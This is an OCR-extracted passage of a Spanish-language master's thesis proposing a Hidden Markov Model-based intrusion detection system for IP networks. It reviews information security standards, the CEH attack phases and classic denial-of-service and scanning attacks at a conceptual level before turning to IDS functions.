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1. INTRODUCCION

La ingenieria de trafico es un area de constante avance dada la creciente complejidad
de las redes de telecomunicaciones, asi mismo, la investigacion sobre mecanismos
para detectar intrusos en éstas redes se ha convertido en un area de especial interés
dada la gran cantidad de ataques novedosos que se presentan, su impacto econémico
y la importancia que ha adquirido la informacion a medida que la sociedad se ha
conectado a través de redes como la Internet, en la actualidad la explosion de las redes
sociales, los servicios informativos y la masificacion de la presencia digital de empresas
y personas naturales han generado nuevos focos de atencidon para los intrusos que
merecen especial atencion, pues del mismo modo que la tecnologia avanza, asi mismo
los atacantes maduran y sus ataques se hacen cada vez mas sofisticados.

La ingenieria de trafico, desde sus inicios, se ha caracterizado por contribuir al
dimensionamiento, control y entendimiento de las redes de telecomunicaciones, aun
mas cuando las redes han perdido su caracter local y han pasado a convertirse en
redes transnacionales, asi también ha demostrado que se pueden generar modelos
tedricos que se ajustan a los diferentes comportamientos presentados por el trafico en
distintos escenarios y escalas, de ahi que han surgido, entre otros, modelos empiricos
para protocolos[41], caracterizaciones estadisticas [2] e inclusive modelos del backbone
de Internet [5], no obstante, dada la creciente complejidad en las redes, la aparicion de
nuevos servicios y protocolos, asi como cambios asociados al comportamiento de los
usuarios y su impacto sobre el trafico de red, dia a dia se hace necesario redisefar los
enfoques de modelado para poder ajustar las caracteristicas nuevas que van
apareciendo, estos cambios han empujado a la creacion de nuevos modelos enfocados
a ajustarse de la mejor manera a las nuevas caracteristicas del trafico moderno, como
los modelos de caracteristicas markovianas [51][52].

De forma paralela al crecimiento en complejidad de las redes, la seguridad de la
informacion ha empezado a posicionarse en todos los ambientes organizacionales
dando aparicién a estandares como el ISO/IEC 17799 o el conjunto ISO/IEC 270007,
donde uno de los principales flancos estd en la proteccibn a las redes de
telecomunicaciones®, haciendo que los esfuerzos invertidos en este campo sean muy
altos. Estudios demuestran que las cifras asociadas a la falta de proteccion ante

L EI ISO/IEC 17799 es el estandar correspondiente a las recomendaciones de las mejores practicas para
garantizar seguridad de la Informacion, su Gltima revision se realizo en el 2005 y ahora se conoce como
ISO/IEC 27002.

2 El conjunto de normas ISO/IEC 27000 comprende varios estdndares orientados a garantizar la
implementacion y buen funcionamiento de un Sistema de Gestion de Seguridad de la Informacion SGSI,
los cuales pueden ser certificable y tienen validez internacional. Se puede consultar mas del estandar en
http://www.is027000.es/

® Es de hecho un control obligatorio de la norma ISO/IEC 27002 en su numeral “Gestién de
Comunicaciones y Operaciones”.
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amenazas informaticas son astronémicas[18][34], lo que deja clara la necesidad de
generar esquemas y modelos con capacidad de detectar intrusiones maliciosas,
ataques o usos indebidos de las redes de telecomunicaciones con el fin de minimizar
estos impactos.

Muchos investigadores han abordado este campo con el fin de brindar alternativas de
solucion al problema de seguridad y se han generado, como respuesta, multiples
modelos que centran sus esfuerzos en detectar ataques nuevos y novedosos, pues se
ha encontrado que es alli donde radica la mayor dificultad de seguridad en redes
modernas, dado que estos ataques pasan inadvertidos por los esquemas
convencionales de seguridad como los IDPS, Antivirus y Firewall basados en firmas
[6][24][30].

Varios trabajos han arrojado como conclusién que la mejor manera de detectar estos
ataques novedosos es a través del analisis del comportamiento del sistema respectivo
(en este caso el comportamiento de la red de telecomunicaciones) y el andlisis y
modelado de patrones de actividad que determinen cuando la red estd actuando
‘normalmente” y cuando se desvia de ese comportamiento, dado que los esquemas
gue se centran en la deteccion de datos puntuales, cadenas especificas o
malformaciones obvias de paquetes (como campos TTL erréneos, direcciones IP
inexistentes, banderas incoherentes, etc.) son relativamente faciles de vulnerar y
radican todo su potencial en datos que pueden ser facilmente alterados para ocultar el
comportamiento anormal [28][46].

Para lograr una deteccion efectiva de estas desviaciones del comportamiento normal se
han considerados aproximaciones como el clustering [46], los sistemas expertos [24] e
inclusive modelos no estacionarios [43], y es claro que existen multiples mecanismos
para determinar perfiles de comportamiento a partir de medidas simples que pueden ser
capturadas en las trazas de trafico de protocolo IP [37][44][57]. Precisamente este
trabajo tiene como propésito usar Modelos Ocultos de Markov, que han demostrado ser
muy buenos en la deteccidén de patrones [66] y en la clasificacion de trafico [22][31][69]
[70], para conseguir un mecanismo de deteccion de intrusiones maliciosas en redes de
telecomunicaciones particularizando caracteristicas que permitan detectar estas
anomalias de tréfico.

1.1. OBJETIVOS

El propésito de la presente investigacion es plantear un sistema de deteccion de
intrusos (IDS, por sus siglas en ingles) que esté basado en deteccién de patrones de
trafico usando Modelos Ocultos de Markov, de manera especifica el trabajo se centra
en:



Tomar como base desarrollos hechos en Modelos Ocultos de Markov para
plantear y aplicar un modelo de deteccion de intrusos a partir del analisis
de trafico en redes de telecomunicaciones IP. Esta parte de la investigacion
estudia los Modelos Ocultos de Markov, como son implementados y para qué
han sido usados, asi mismo se estudian los sistemas de deteccion de intrusos,
los tipos y las metodologias de deteccion con el proposito de identificar una
alternativa que sea aplicable a la deteccion de intrusos que pueda ser
implementada a partir de tréfico IP.

Determinar qué paradmetros son necesarios para realizar el ajuste del
modelo a una red de telecomunicaciones IP. Luego de definir la alternativa a
usar se establece que parametros deben ser entrenados en el modelo para que
pueda ser usado en la deteccidon de anomalias y garantizar que el ajuste del
modelo sea bueno.

Definir qué pardmetros son necesarios en el modelo de tal forma que
permitan la deteccion de intrusos basado en patrones irregulares del
trafico (anomalias). Esta parte de la investigacion establece que parametros de
la pila de protocolos IP van a ser usados para ajustar el trafico de red al conjunto
de pardmetros necesarios para el trabajo con modelo escogido, tanto para
realizar el entrenamiento, como para realizar las pruebas sobre el mismo.
Determinar el valor de los parametros del modelo necesarios a partir de
archivos de tréfico existentes y que son de acceso publico (DARPA IDS
data set*). Ya identificados los parametros, esta etapa de la investigacion
muestra el trabajo realizado con el fin de entrenar los modelos que seran
aplicados como alternativa para la deteccion de intrusos en redes de
telecomunicaciones a partir de los datos colectados por el MIT.

Hacer un andlisis de los resultados obtenidos y determinar el grado de
precision del modelo en la deteccién con respecto a los datos obtenidos
por medicién. Por ultimo, esta parte debe mostrar los resultados del trabajo y
verificar los resultados obtenidos al usar Modelos Ocultos de Markov sobre
trazas de tréfico y la capacidad de los mismos para detectar trafico anémalo, el
cual se puede catalogar como trafico peligroso o ataques.

* DARPA IDS Data Set es el primer conjunto estandar de trafico para realizar evaluaciones en sistemas
de deteccion de intrusos en redes de computadores, fue recolectado por el Information System
Technology Group (IST) del Laboratorio Lincoln del MIT bajo el auspicio de la Agencia de Investigacion
en Proyectos de Defensa Avanzada (Defense Advanced Research Projects Agency, DARPA) y el
laboratorio de investigacién de la Fuerza Aérea de Estados Unidos (Air Force Research Laboratory,
AFRL/SNHS), los datos se colectaron en 1998 y 1999 pero estudios recientes [12] han demostrado que

son aplicables en las evaluaciones de IDS. Para mas informacion:

http://www.ll.mit.edu/mission/communications/ist/corpora/ideval/index.html
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1.2. ESQUEMA DEL DOCUMENTO

Este documento presenta toda la investigacion realizada por el autor para optar al titulo
de Magister en Ingenieria de Telecomunicaciones, otorgado por la Universidad
Nacional de Colombia, el esquema es el siguiente:

En el Capitulo 2 se abordan los Sistemas de Deteccion de Intrusos, sus caracteristicas,
los tipos existentes, las arquitecturas y los mecanismos de deteccién mas comunes, asi
como los ataques de red mas comunes y una metodologia de intrusion ampliamente
aceptada.

En el Capitulo 3 se estudian los principios de la teoria de los Modelos Ocultos de
Markov, sus caracteristicas, se describen los procesos de entrenamiento, decodificacién
y evaluacion, asi como su uso para el alineamiento multiple de secuencias.

Posteriormente, el Capitulo 4 recoge la teoria de los capitulos anteriores y define un
esquema para detectar intrusiones de trafico en redes de telecomunicaciones IP
usando Modelos Ocultos de Markov, describe el proceso de entrenamiento, las pruebas
realizadas y los resultados obtenidos, para al final en el Capitulo 5, presentar las
conclusiones del proyecto de investigacion y las recomendaciones para trabajo futuro a
partir de este nuevo esquema.



2. SEGURIDAD DE LA INFORMACION Y SISTEMAS DE DETECCION DE
INTRUSOS

La investigacion en seguridad de la informacion, y en particular en sistemas para
detectar intrusos, se han convertido en un tema de actualidad y pertinencia en cuanto
las redes son cada dia mas susceptibles a los ataques, esto debido a la sensibilidad de
la informacion que viaja a través de ellas. En un mundo donde las redes permean todas
las culturas y todos los estamentos productivos, la informacion ha pasado a ser un
activo fundamental e invaluable, y de ese mismo modo no ha dejado de ser un blanco
relativamente facil y muy preciado por los atacantes, por lo que es clara la necesidad de
esquemas y modelos para poder detectar esos atacantes de tal forma que se pueda
evitar o minimizar el impacto de los mismos sobre la informacion, esquemas que
permitan, bien sea a los administradores de las redes o a sistemas autbnomos, tomar
decisiones y llevar a cabo acciones adecuadas en cuanto el problema de seguridad
surja.

2.1. SEGURIDAD DE LA INFORMACION

En la actualidad para muchas organizaciones, como lo muestran la ISO°y la IEC® en
[61], la informacion es un activo fundamental y como tal debe estar suficientemente
protegido de cualquier amenaza potencial. Las organizaciones, las personas y las redes
se han visto enfrentadas a amenazas de seguridad desde muchos frentes diferentes,
desde fraudes electrénicos, espionaje, sabotaje, vandalismo, virus de computadora y
ahora, y cada vez de manera mas comun, hackers, intrusos, negaciones de servicio,
entre otros. Sin embargo, a pesar del creciente interés en este campo, la mayoria de las
personas tienen muy poco conocimiento sobre el aseguramiento de las redes y de sus
activos electrénicos, lo que ha conllevado, como citan Klevinsky, Laliberte y Gupta en
[38], a un aumento en las actividades del llamado crimen cibernético, de hecho muchas
personas consideran que los antivirus son la Unica proteccion que necesitan, y aunque
los virus son un gran problema, existen también muchas mas amenazas que circulan
por las redes y que tienen como objetivo la informacion mas sensible (cuentas
bancarias, n6minas, registros meédicos, etc.).

En paises desarrollados la amenaza es latente y es facilmente observable, mientras
gue en paises en via de desarrollo aun pareciese que la informacion no tiene el estatus
que requiere, la tecnificacion de los procesos, el aumento de la presencia digital de las
empresas en portales de internet o con servicios electronicos y la masificacion de la
mercadotecnia por canales digitales han colocado la informacion de todos en medios

® Organizacion Internacional para la Estandarizacion, ISO por sus siglas en inglés.
® Comision Electro Técnica Internacional, IEC por sus siglas en inglés.
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digitales, medios que pueden ser atacados y que deben estar protegidos, el Instituto
para la Seguridad Computacional CSI’ evidencia las cifras alarmantes de delitos
informaticos a los que estan expuestos las compafias, para su reporte anual de crimen
cibernético y seguridad del 2008 [56] cita costos de mas de $1,300,000 ddlares solo por
la respuesta a fraudes financieros, ataques de redes empresariales, robo de
informacién propietaria y de datos confidenciales , esto sin contar con las pérdidas
generadas en los fraudes mismos, y aunque el porcentaje de ataques efectivos ha
disminuido, los costos por ataque son astronémicos.

Todo este panorama muestra como el creciente entorno digital y de interconexion ha
impulsado el crecimiento de amenazas y vulnerabilidades dada la cantidad de
informacion que ahora esta expuesta. Para los consultores del EC-Council® [35] es claro
que la evolucion de la tecnologia fundamentada en la facilidad de uso, la creciente
complejidad de administracion y gestion de infraestructura computacional, el
decreciente nivel técnico necesario para realizar ataques (Ver Figura 1), el impacto
directo de la informacién en las compafias y el entorno creciente de conectividad y
acceso a redes de las empresas se han convertido en un problema de seguridad de
tamafo considerable, asi pues es clara la importancia de la seguridad en los escenarios
contemporaneos de la informacién y las telecomunicaciones.

A Agrupamiento Scripts  cruzados (XSS)
Alto de paquetes H
Técnicas de i
- g H
~, ~ Captura de escaneo invisibles
h paquetes
~ Negacién i
CONOCIMIENTO M \ deservicio { _J ::::es por
DEL INTRUSO .
Barridos de puertos
i \ i Ataques distribuidos

Puertas traseras , H

H i Ataques web

Deshabilitar registros i i

de auditoria i \ i Escaneos automatizados
.

* Herramientas con

interfaz grafica
iSecuestro de * g

' sesiones ~

L

SOFISTICACION
DEL ATAQUE

~y .

il B,

i iExplotacién de vulnerabilidades conocidas

Cracking de contrasefias

A Cddigo que se autereplica
Ba]O Proceso de @ ivinar Contrasefias
>
1985 2000

Figura 1. Comparativa de conocimiento del Intruso versus sofisticacion del ataque.
Fuente [3]
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Segun cita el EC-Council en [35] la evolucion de los computadores ha impulsado su
adopcién en todos los @mbitos personales y laborales, dejando que tomen un mayor
grado de control de las actividades y generando una fuerte dependencia, un error
puede ocasionar una pérdida de tiempo (como en un viaje guiado por GPS), una
pérdida de dinero (una transaccion bancaria) y hasta una pérdida de una vida (como
con un equipo médico). La tecnologia ha evolucionado a tal velocidad que su disefio se
ha centrado en que sean faciles para los usuarios, pero han dejado de lado las medidas
necesarias para que toda esa informacién que se almacena o se transmita esté segura.
Por otra parte, la tendencia de las compafiias de tener presencia en internet ha hecho
gue ese punto de contacto requiera de medidas extremas de seguridad, pues es ahora
el que mantiene la imagen de la organizacion, por donde se realizan transacciones de
dinero y se mantiene un contacto con clientes, es un punto critico.

En vista de todo este panorama el estandar internacional ISO/IEC 17799 define en [61]
la seguridad de la informacion como la proteccion de estos nuevos activos de
informacion ante cualquier amenaza, con el fin de asegurar la continuidad de negocios,
minimizar los riesgos y maximizar el retorno sobre la inversion y las oportunidades de
negocio, ya sea de la informacion impresa o escrita, almacenada electronicamente o
transmitida por cualquier medio. Del mismo modo, entidades como el EC-Council y el
NIST? definen la seguridad de la informacién como la proteccién de la informacién y los
sistemas de informacion de los accesos, usos, divulgacion, modificacién y destruccion
no autorizada, de manera tal que se garantice la confidencialidad, la autenticidad, la
integridad y la disponibilidad de los recursos de informacion[29][35][53]. Miller y Gregory
en [49] definen la seguridad de la informaciéon en 10 dominios contemplados en el
Cuerpo Comun de Conocimiento CBK' para la certificacion CISSP*, entre los cuales
se puede recalcar el domino de las “Telecomunicaciones y Seguridad en Redes”, esta
investigacion abordara puntualmente la seguridad de la informacion desde este dominio
en particular dada la importancia que tiene en un entorno de conectividad como el
actual.

2.2. METODOLOGIA DE INTRUSION

El EC-Council ha identificado una metodologia estandar mediante la cual los atacantes
de redes y sistemas de informacion realizan sus intrusiones, ésta contempla un
conjunto formal de pasos para obtener y mantener el acceso a los sistemas sin importar
cuales son las intenciones del intruso, la metodologia ha demostrado ser muy buena,

? Instituto Nacional de Estandares y Tecnologia de los Estados Unidos de América, NIST por sus siglas
en inglés.

1% common Body of Knowledge

! Profesional Certificado en Seguridad de Sistemas de Informacién, por sus siglas en inglés. Es una
certificacién de alta demanda otorgada por el Consorcio Internacional de Certificacion en Seguridad de
Sistemas de Informacién (ISC)2. Mas informacion en http://www.isc2.org/.
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de ahi que ha sido aceptada y adoptada sin mayores variaciones por entidades como
SANS™, scP®, Mile2 y el mismo EC-Council*®.[29][35]

La metodologia abarca 5 fases diferentes, las cuales definen completamente la
anatomia de un ataque, que se ejecutan de manera secuencial: Reconocimiento,
escaneo, obtencién de acceso, mantenimiento de acceso y cobertura de huellas.

Reconocimiento Escaneo
Cobertura de Obtencién de
huellas acceso

Mantenimiento de
acceso

Figura 2. Metodologia de atague CEH. Fuente [35]
Cada una de las fases es definida de la siguiente manera:

1. Reconocimiento: Es la etapa en la cual un atacante colecta tanta informacién
como le sea posible con el fin de realizar una evaluacion previa del blanco antes
de lanzar un ataque, representa un riesgo considerable de negocio dado que la
informacion que se busca es aquella que esta presente publicamente tal como
nombres de personas claves de las organizaciones, ofertas de trabajo, noticias,
etc.

2. Escaneo: Esta etapa es considerada la fase previa de ataque, consiste en el
sondeo de la red del blanco a partir de informacién recolectada durante la fase
de reconocimiento, para tal fin se utilizan herramientas que son capaces de
localizar sistemas activos y detectar vulnerabilidades en los mismos. En esta
etapa un atacante puede obtener el mapa completo de la red, incluyendo

2 E| Instituto SANS en su curso “SANS Security 560: Network Penetration Testing and Ethical Hacking”.
http://www.sans.org/training/description.php?mid=937

13 Security  Certified Program en su curso “Security Certified Network Specialist”.
http://www.securitycertified.net/Certifications/SCNS.aspx

* Mile2 es una empresa consultora, adopta la metodologia en “Certified Penetration Testing Professional
CTPT". http://www.mile2.com/Certified Penetration_Testing Professional CPTP.html

'* En “Certified Ethical Hacker”. http://www.eccouncil.org/ceh.htm
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informacion sobre enrutadores, firewalls, sistemas operativos, servicios activos,
versiones de software y de firmware.

3. Obtencion de acceso: Esta fase es la mas importante y critica de un ataque a
un sistema en términos del dafio potencial que se puede causar, es el momento
en el que el atacante logra tener acceso a los sistemas y tomar control de los
mismos. A partir de este acceso el atacante puede robar, alterar, borrar, insertar
o dafar informacion dentro de los sistemas que han sido victimas. La fase
consiste en la utilizacion de alguna técnica que le permita al atacante
aprovecharse de los sistemas con el fin de obtener permisos para los cuales no
esta autorizado, habitualmente sucede con sistemas mal configurados, versiones
viejas de aplicativos o que no han sido correctamente parcheadas, aunque
también es comuin que el ataque sea so6lo uno que evite que el sistema sea
accedido por otras personas, lo que comunmente se denomina “negacién de
servicio”*®.

4. Mantenimiento de acceso: Ya obtenido el acceso a los sistemas el atacante
puede decidir seguir usando la victima con el fin de lanzar més ataques o poder
acceder a mas informacion tiempo después, con tal fin se pueden implantar
programas maliciosos que permiten al atacante volver a entrar al sistema sin
necesidad de repetir las fases anteriores, herramientas como los caballos de
Troya'’ o las Puertas traseras'® son muy comunes en esta fase.

5. Cobertura de huellas: La fase final de un ataque, consiste en el borrado
sistematico de evidencia que pueda incriminar o identificar al atacante que
consiguié acceso al sistema. De igual manera, al cubrir un ataque el atacante
puede convertir esta fase en el inicio de un nuevo ciclo de ataque usando
técnicas de reconocimiento desde el anonimato.

La primera fase no es intrusiva y practicamente indetectable, de modo tal que las
organizaciones no pueden hacer mucho para protegerse al respecto mas alla de cuidar
la informacién que publican en internet y en las entidades que registran dominios y
servicios. Las Ultimas 2 fases radican su funcionamiento en los sistemas mismos y
tienden a ser contrarrestadas con antivirus y antispyware.

Por otra parte, las fases intermedias 2 y 3 son muy ruidosas y afectan directamente las
redes y sistemas de las victimas y es alli donde las organizaciones deben comenzar su
proteccion, siendo estrictos en la metodologia, si se logra impedir que se realicen las
labores de escaneo de los sistemas es imposible llevar a cabo las fases siguientes
logrando desarticular el ataque antes de que logre afectar directamente los sistemas,
por este motivo el presente trabajo se centra en el conjunto de ataques de estas fases,
particularmente de la fase 2, y la forma de detectarlos, partiendo del hecho de que

" En el argot de la seguridad de la informacion se denominan ataques de DoS, del inglés Denial of
Service.

Y En inglés: Trojan Horses.

'® En inglés: Backdoors.



éstos viajan por las redes y pueden ser capturados en la infraestructura de las victimas
justo antes de que alcancen los sistemas criticos. Para tal fin el EC-Council en [35]
recomienda el uso de Sistemas de Deteccion de Intrusos como linea principal de
defensa de las redes para identificar el escaneo y algunas actividades de la fase de
obtencion de acceso (en especial si se realizan negaciones de servicio). Del mismo
modo ISECOM® en el OSSTMM define como factor critico a probar la “Seguridad en
las tecnologias de Internet’, la cual incluye los sondeos de red y la identificacion de
sistemas como puntos clave, motivo adicional que muestra la importancia de la
seguridad en las redes y la ventaja que puede ofrecer para prevenir ataques[32].

El equiéao de respuesta a emergencias computacionales de los Estados Unidos, US-
CERTZ, en su reporte de andlisis y tendencias cuatrimestral muestra como el mayor
porcentaje de incidentes de seguridad reportados corresponde a las fases 2 y 3 de la
metodologia de intrusion, inclusive, se muestra un incremento considerable de esta
actividad desde el 2007 hasta diciembre del 2008, como se ve a continuacion:

Inicidentes por Categoria

8,51% 0.10% M Acceso no Autorizado
r 0 . . .
6,21% B Negacionde Servicio
9,91% H Codigo Malicioso

W Uso no apropiado

18,62%

B Sondeosde red

M Desconocidos

Figura 3. Incidente en el Ultimo cuatrimestre del 2007. Fuente [67]

Indices por Categoria

10,00% +20% 6,90%

5,50% M Acceso no Autorizado

B Codigo Malicioso
Uso no apropiado
B Sondeosde red

M Desconocidos

Figura 4. Incidente en el altimo cuatrimestre del 2008. Fuente [68]

19 |nstituto para la Seguridad y las Metodologias Abiertas, ISECOM por sus siglas en inglés.
%0 United States Computer Emergency Readiness Team
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2.3. ATAQUES COMUNES EN REDES

Los atacantes una vez han identificado los objetivos mediante labores de
reconocimiento, se dedican a buscar los agujeros de seguridad de los cuales se puedan
aprovechar para poder realizar los ataques, es imposible para una organizacién cerrar
todos los agujeros de manera efectiva, sin embargo se pueden minimizar los riesgos
tomando las medidas preventivas respecto a las amenazas presentes. En las redes
modernas los ataques estan concentrados en las diferentes capas del modelo OSI [74],
particularmente en las capas de red, transporte y aplicacion.

Los atacantes aprovechan la pila de protocolos IP dada su alta penetraciéon en los
sistemas modernos y ser el nucleo fundamental de internet, lo que les da la posibilidad
de lanzar sus ataques en cualquier lugar que tenga conectividad y bajo cierta
anonimidad; Klevinsky, Laliberte y Gupta listan los posibles focos de vulnerabilidad a los
gue apuntaria un atacante y todos se concentran en la pila de protocolos IP, entre estos
es claro que los protocolos mas comunes son los mas apreciados, las vulnerabilidades
en FTP, Telnet, ICMP y POP estan entre las primeras listadas [38].

Del mismo modo la falta de monitoreo de redes y la deficiencia de los esquemas de
deteccidn de intrusos son considerados como un agujero de seguridad muy comdun, el
cual permite al atacante lograr penetrar a los sistemas sin ser detectado, de modo tal
que estad en la capacidad de utilizar técnicas mucho mas agresivas con el fin de
comprometer otros sistemas, de hecho, le da el tiempo suficiente para lograr escanear a
fondo los sistemas hasta que encuentre una debilidad importante [49].

Los ataques en redes estan principalmente enfocados en las fases 2 y 3 de la
metodologia de ataque, se centran en la recoleccién de informacién y el descubrimiento
de sistemas vulnerables. Los conceptos de los ataques son relativamente maduros, y
sorprende la manera como aun son aplicables, tanto en entornos de IP en su version 4,
como en la mas reciente version 6, Convery y Miller, de CISCO, demuestran en [20]
como las amenazas de IPv4 se replican de manera casi idéntica en IPv6, de modo tal
gue las técnicas de ataque permanecen, practicamente, inalteradas.

Marchette define en [45] un conjunto de ataques comunmente aplicados en redes,
divididos en ataques de negacion de servicio y ataques de sondeo de redes. Los
ataques de negacion de servicio son aquellos que pretenden bloquear los sistemas de
una red con el fin de que no puedan responder a peticiones legitimas de servicio. De
manera general un ataque de negacion de servicio buscar hacer que la red no sea
capaz de responder o que su desempefio se vea seriamente alterado con el fin de
hacer inaccesible a los servicios, los mas comunes son:
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e Land: Es un ataque en el cual el atacante envia un paquete TCP con una
bandera de sincronizacién y la misma direccion de fuente y de destino, lo que
provoca que algunos sistemas se bloqueen y rechacen conexiones futuras.

IP Destino = 192.168.0.1
IP Fuente = 192.168.0.1

TCP

Atacante Victima
192.168.0.1

Figura 5. Ataque Land

e Neptuno: Es un ataque en el cual se envian mdultiples paquetes TCP de
sincronizacion desde una direccion fuente inexistente, lo que provoca que en el
sistema victima se abran multiples conexiones que no tienen respuesta y que se
mantengan abiertas hasta que el sistema sea incapaz de abrir conexiones
nuevas, bloqueandose.

¢

0.0.0.0
&2

Victima
192.168.0.1

Atacante
0.0.0.0

Figura 6. Ataque Neptuno
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Ping O’ Death: Este ataque consiste de paquetes ICMP de peticion de eco
(conocidos como ping) que tienen un tamafio demasiado grande, lo que hace
gue algunos sistemas se bloqueen.

Ping de tamafio normal

32
bytes

Atacante Victima

Ping de tamafio anémalo

1500 bytes

Atacante Victima

Figura 7. Comparacién entre un Ping Convencional y un Ataque Ping O’ Death

Targa3: Es un ataque combinado de paquetes IP malformados, que pueden
contener datos de fragmentacién erréneos, valores invalidos de cabecera,
banderas invalidas, etc.

Paquete malformado
IP Destino = 192.168.0.1
IP Fuente = 0.0.0.0

Otras opciones

TCP/IP Q
Atacante Victima
0.0.0.0 192.168.0.1

Figura 8. Ataque Targa3
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Smurf: Es un ataque en el cual el atacante envia multiples paquetes ICMP de
peticion de eco a direcciones de broadcast pero con la direccion fuente de la
victima, asi al momento en que los ecos son respondidos el atacante recibe

demasiadas solicitudes provocando que se bloquee.

Teardrop: Este ataque consiste en el envid de paguetes TCP que estan
fragmentados de manera equivocada, provocando que los diferentes fragmentos
se sobrepongan al momento de la reconstruccion, provocando que la maquina

Atacante

IP Destino = 255.255.255.255
IP Fuente = 192.168.0.1

-

Figura 9. Ataque Smurf

victima se bloquee.

ZZ

§
S

Atacante

Paquete fragmentado 1
Inicio fragmento = 0 bytes
Fin fragmento = 1500 bytes

Paquete fragmentado 2

Inicio fragmento = 1000 bytes
Fin fragmento = 2000 bytes

\

8

S

ZZ

Victima

Pag u:ete 1

Paquete 2

(V3

Paquete total
Fragmentos se
sobreponen

Figura 10. Ataque Teardrop
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e UDP Storm: Este ataque consiste en establecer de manera ilegitima una
conexién entre el puerto ‘echo’ (puerto 7) de una maquina y el puerto ‘chargen’
(puerto 19) de otra, en este caso el puerto ‘chargen’ genera una cadena aleatoria
que es enviada al puerto ‘echo’ el cual a su vez responde con lo mismo, esto
provoca que ambas maquinas entren en una conexion interminable que,
eventualmente, bloqueara a alguna de las maquinas.

Victima A Victima B

Atacante 192.168.0.1 192.168.0.2

Puerto fuente = 7 (echo) E

Puerto destino = 19 (chargen)
Paquete

IP fuente = 192.168.0.1
Puerto fuente = 19 (chargen)
IP destino = 192.168.0.2
Puerto destino = 7 (echo)

Puerto fuente = 19 (chargen)
Puerto destino = 7 (echo)
Paquete

Ik

Puerto fuente = 7 (echo)
Puerto destino = 19 (chargen)
Paquete

Puerto fuente = 19 (chargen)
Puerto destino = 7 (echo)
Paquete

Wi

Figura 11. Ataque UDP Storm

Los sondeos de redes son atagues que permiten determinar informacién sobre los
sistemas en la red tales como: la lista de direcciones IP validas, sistemas operativos
funcionando o los servicios disponibles en la red. Un ataque tipico involucra un mapeo
de la red para determinar qué maquinas estan funcionando, seguido por un sondeo en
las maquinas activas para determinar qué sistema operativo tienen instalado y que
servicios potencialmente vulnerables tienen activos.

McClure, Scambray y Kurtz definen en [47] los ataques mas comunes de sondeo, entre
los que se encuentran:
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e Barridos de ping: Consiste en el envio de paquetes ICMP de peticion de eco a
un rango amplio de direcciones IP para determinar que sistemas estan activos a
partir de la respuesta que den a la peticion.

ACTIVO

192.168.0.2 NO
ACTIVO

E} ACTIVO
ICMP 195 168.0.3
o

Atacante

ACTIVO

192.168.0.254

Figura 12. Sondeo con Barridos de Ping

e Consultas ICMP: Este ataque consiste en el envio de consultas ICMP diferentes
a la peticion de eco, con el fin de determinar otra informacion importante de las
victimas tal como la zona horaria o las mascaras de red.

Peticion de informacién (tipo 15)
Peticion de mascara de red (tipo 17)
Peticion de enrutamiento (tipo 30)
Peticion de nombre de dominio (tipo 37)

Otros...
ICMP

25

Atacante Victima

Figura 13. Sondeo con Consultas ICMP
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e Exploracion de puertos: Consiste en la conexion recurrente a puertos UDP y
TCP con el fin de determinar qué servicios se estan ejecutando o estan a la
escucha. Los puertos que sean descubiertos pueden arrojar informacién sobre el
sistema operativo o la version de los servicios, asi como también pueden ser la
puerta de entrada a un usuario no autorizado. Esta exploracion puede realizarse
mediante manipulaciones en las banderas del protocolo TCP al momento de
realizar las conexiones o por barridos de protocolo UDP.

Victima
192.168.0.1

Puerto 1| ABIERTO
Atacante

Puerto 2| CERRADO

Puerto 3| ABIERTO

Puerto

65535 ABIERTO

Figura 14. Sondeo con Exploracion de Puertos

Este conjunto de ataques estan pensados para brindar toda la informacion posible
sobre la estructura de red y los sistemas activos en la misma [29][35], informacién con
la cual el atacante puede lanzar un ataque efectivo.

2.4. SISTEMAS DE DETECCION DE INTRUSOS

Con el fin de prevenir el conjunto de ataques revisados en la seccidn anterior es
necesario implementar medidas de proteccion y controles en las redes, el objetivo es
asegurar las estructuras de los protocolos, los métodos de transmisién, formatos de
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transporte y demas medidas, de manera tal que se pueda garantizar que la informacion
se transmite de manera segura y que las redes mismas no puedan ser usadas para
auspiciar un ataque.

Segun Miller y Gregory la seguridad en las redes esta principalmente implementada a
través de tecnologias como los firewalls, las redes privadas virtuales y los sistemas de
deteccion de intrusos, los cuales son de fundamental interés para esta investigacion
[49].

McHugh, Christie y Allen en [48] dejan claro que aunque la tecnologia de deteccion de
intrusos es aun inmadura y no puede contemplarse como una defensa completa, su
papel es muy importante en toda la arquitectura de seguridad, dado que asi como
pueden disparar acciones que ayuden a proteger recursos en caso de ataques, también
pueden ser usados para colectar informacién forense con el fin de localizar y perseguir
a los intrusos o para diagnosticar e identificar vulnerabilidades.

El objetivo de los sistemas de deteccion de intrusos, de la manera mas general, es
caracterizar las manifestaciones andmalas en las redes con el fin de identificar
positivamente los ataques reales. El NIST define en [58] la deteccion de intrusos como
el proceso de monitorear y analizar los eventos ocurridos en los sistemas y redes en
busca de sefiales de posibles ataques, los cuales son violaciones o amenazas de
violacion a las politicas de seguridad o a los usos normales de los recursos. Estos
ataques pueden ser malware (virus, spyware, gusanos, etc.), atacantes intentando
lograr accesos no autorizados a los sistemas o usuarios que pretenden abusar de sus
privilegios en los sistemas con el fin de realizar acciones para las que no estan
autorizados. De manera particular, un Sistema de Deteccidén de Intrusos (IDS) es un
mecanismo que automatiza el proceso de deteccion de estas violaciones y amenazas.

McHugh, Christie y Allen definen el proceso de deteccidon de intrusos como una
particularizacion del problema general de deteccion de sefiales en el cual se ven las
manifestaciones del ataque como la sefial particular que debe ser detectada y las
demas senales “normales” se ven como ruido, el cual debe pasar desapercibido [48].
Para tal fin se utilizan basicamente 2 esquemas, la deteccién basada en firmas, la cual
detecta las caracteristicas de la sefial, y la deteccion de anomalias, que detecta sefiales
gue se desvian de las que se consideran normales, esquemas que se abordaran en la
seccion 2.4.2.

Segun propone el NIST en [58] los IDS deben estar enfocados en identificar posibles
ataques para luego reportarlos a los administradores y que estos puedan tomar las
medidas necesarias para la respuesta a incidentes. Gran parte del esfuerzo de
identificacion esta concentrado en detectar la actividad de reconocimiento y escaneo de
redes, que corresponde a la fase 2 de la metodologia de la seccion 2.2, la cual puede
indicar que un ataque es inminente. Las actividades de escaneo son frecuentes en
internet, de modo tal que su deteccion debe ser prioritaria en la proteccion de redes.
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Entre las funciones clave que deben poseer un IDS se encuentran [58]:

Recolectar informacion relacionada con los eventos observados en los sistemas
y/o redes. Esta recoleccion se hace generalmente de manera local y es
comunmente almacenada en equipos dedicados para tal fin.

Notificar a los administradores sobre eventos importantes observados, esta
notificacion se conoce como una alerta.

Producir reportes, los cuales guardan informacién importante y detallada sobre
eventos de interés.

2.4.1. COMPONENTES DE UN IDS

